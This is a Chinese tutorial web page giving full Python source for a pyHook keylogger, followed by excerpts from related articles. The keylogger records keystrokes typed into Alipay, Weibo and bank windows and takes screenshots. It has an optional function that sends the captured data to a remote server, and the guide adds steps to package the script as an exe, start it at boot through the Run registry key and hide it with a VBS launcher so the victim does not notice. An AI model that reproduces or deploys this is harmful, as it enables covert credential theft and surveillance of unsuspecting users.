Python利用pyHook实现监听用户鼠标与键盘事件

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom
import pyHook
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()

#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event):
  # 监听鼠标事件
  global MSG
  if len(MSG)!=0:
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True

def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)
    if (event.Ascii == 9) or (event.Ascii == 13):
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = ''
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 

if __name__ == "__main__":
  MSG = ''
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

(0)

相关推荐

  • python之模拟鼠标键盘动作具体实现

    上个月就打算开发个还算好玩的项目,但是一直没时间.这篇是此项目用到的一部分, 处理好此部分基本还差通信等方面的了.首先模拟鼠标键盘按下释放的动作,本人利用X11 这个库,所以要了解X11编程;其次,本身用c或者c++就可以实现了,但是由于本人是py 粉,所以总想把代码搬进python,所以本人就要实现python模块,本篇用的ctypes,以后会 把python的c扩展模块附上来的. 1.X11编程 首先简单的介绍一下X11吧,网上有介绍,本人就不重复了.我们知道X是以server与client

  • python模拟鼠标拖动操作的方法

    本文实例讲述了python模拟鼠标拖动操作的方法.分享给大家供大家参考.具体如下: pdf中的书签只有页码,准备把现有书签拖到一个目录中,然后添加自己页签.重复的拖动工作实在无趣,还是让程序帮我实现吧,我可以喝点水,休息一下了 1. Python代码 复制代码 代码如下: # # _*_ coding:UTF-8 _*_ __author__ = 'wp' import win32api import win32con import win32gui from ctypes import * i

  • Python捕捉和模拟鼠标事件的方法

    本文实例讲述了Python捕捉和模拟鼠标事件的方法.分享给大家供大家参考.具体分析如下: 这个假期玩了不少galgame,不过有些很老的游戏没有自动运行模式,点击鼠标又太伤按键了,于是想把滚动鼠标滚轮映射为点击鼠标. 网上搜了一下,没发现什么现成的软件,而按键精灵又太重量级了,于是考虑干脆自己用Python写个算了. 这里需要把PyHook和PyWin32都装上(建议下exe版,免得安装时各种蛋疼). 翻了翻教程,发现实现起来很简单: # -*- coding: utf-8 -*- import

  • Python实现windows下模拟按键和鼠标点击的方法

    本文实例讲述了Python实现windows下模拟按键和鼠标点击的方法.分享给大家供大家参考.具体如下: 这段代码可以模拟在窗口上按下按键.鼠标左键点击.鼠标右键点击.鼠标双击等等 # # _*_ coding:UTF-8 _*_ import win32api import win32con import win32gui from ctypes import * import time VK_CODE = { 'backspace':0x08, 'tab':0x09, 'clear':0x0

  • Python中使用PyHook监听鼠标和键盘事件实例

    PyHook是一个基于Python的"钩子"库,主要用于监听当前电脑上鼠标和键盘的事件.这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在Windows平台,所以PyHook也只能运行在Windows平台. 关于PyHook的使用,在它的官方主页上就有一个简单的教程,大体上来说,可以这样使用 # -*- coding: utf-8 -*- # 3import pythoncom 4import pyHook 5def onMouseEvent(e

  • windows下python模拟鼠标点击和键盘输示例

    需要先装pywin32,windows下调用winapi的接口 复制代码 代码如下: ## _*_ coding:UTF-8 _*___author__ = 'shanl' import win32apiimport win32conimport win32guifrom ctypes import *import time VK_CODE = {    'backspace':0x08,    'tab':0x09,    'clear':0x0C,    'enter':0x0D,    '

  • Python利用pyHook实现监听用户鼠标与键盘事件

    本文以一段简单的监听鼠标.键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号.密码)的功能.经测试,对于一台"裸奔"的电脑,完全能获取到用户输入的任何信息:但是如果安装了杀毒软件,就够呛了.具体实现方法如下: 一.代码部分:获取用户输入信息,并与截图一起保存到XX目录下 # -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageG

  • Python2.7:使用Pyhook模块监听鼠标键盘事件-获取坐标实例

    Python2.7: 使用Pyhook模块监听鼠标键盘事件-获取坐标.因该模块对Python3 有兼容性问题,故采用python2.7解释器. 原程序可监听所有事件,现注释掉部分功能,只输出鼠标左键触发的坐标,用于获取坐标,方便自动化取点. # -*- coding: utf-8 -*- # # import pythoncom import pyHook def onMouseEvent(event): # 监听鼠标事件 # print ("MessageName:", event.

  • 使用vue与jquery实时监听用户输入状态的操作代码

    实现效果:input未输入值,按钮禁用 jquery操作代码: html <input type="text" name="" placeholder="请输入用户名" id="userName" > <button class="disabled" id="login">登录</button> css .disabled { pointer-even

  • Python pygame项目实战监听退出事件

    目录 1. 事件监听 2. 案例演示 2.1 案例大体思路 2.2 代码演示 2.3 运行结果 1. 事件监听 首先,我们简单回顾一下事件监听,可以简单概括如下: 在游戏循环中,我们希望判断用户具体操作 只有捕获到用户具体的操作,才能有针对性的做出响应 简而言之,在游戏循环中编写一小段代码,通过这一小段代码,判断用户的具体操作行为,这个就叫做监听 注意:我们想在游戏中实现监听退出事件并且退出游戏,其实代码非常固定(代码形式都差不多),因为几乎所有的pygame游戏都大同小异. 2. 案例演示 2

  • Spring boot + LayIM + t-io 实现文件上传、 监听用户状态的实例代码

    前言 今天的主要内容是:LayIM消息中图片,文件的上传对接.用户状态的监听.群在线人数的监听.下面我将挨个介绍. 图片上传 关于Spring boot中的文件上传的博客很多,我也是摘抄了部分代码.上传部分简单介绍,主要介绍在开发过程中遇到的问题.首先我们看一下LayIM的相应的接口: layim.config({ //上传图片接口 ,uploadImage: {url: '/upload/file'} //上传文件接口 ,uploadFile: {url: '/upload/file'} //

  • vue监听用户输入和点击功能

    本文实例为大家分享了vue监听用户输入和点击的具体代码,供大家参考,具体内容如下 功能1:监听用户输入和点击,并实时显示, 功能2:点击发布,编辑页面隐藏,显示发布成功. 功能1 html代码: 使用:v-model监听,!submmited视图默认显示,注意监听option v-for="(i,index) in authors"   v-bind:value="authors[index], 监听当下用户点击的那个: <div id="add-blog&q

  • Android EditText 监听用户输入完成的实例

    我们都知道, Android EditText输入框,并没有监听用户输入完成的功能,需要我们自己实现. 下面是实现的方法,仅供参考: EditText editText = (EditText) findViewById(R.id.edit); editText.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence charSequence, int i, i

  • Vue 页面监听用户预览时间功能的实现代码

    最近的业务中涉及到这样一个需求,在线培训的系统需要知道用户对某个在线预览的页面追踪用户的预览时长.初步我们首先想到借助 Vue 页面的生命周期函数 mounted 和 destroyed,分别在其中加入开始计时和清除计时的逻辑,通过后台的接口上报对应的培训素材的时间数据,即可达到目的. 有了思路,我们就可以开始筹划具体的代码. 定义开始结束计时函数 在 data 中定义我们通过变量定义计时器,这样可以通过 this.timer 随处可访问,便于后面销毁页面的时候清除它. duration 为时长

  • jQuery绑定事件监听bind和移除事件监听unbind用法实例详解

    本文实例讲述了jQuery绑定事件监听bind和移除事件监听unbind用法.分享给大家供大家参考,具体如下: 这里分别采用后bind(eventType,[data],Listener)//data为可选参数,one()该方法绑定的事件触发一次后自动删除,unbind(eventType,Listener), 实例: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w

随机推荐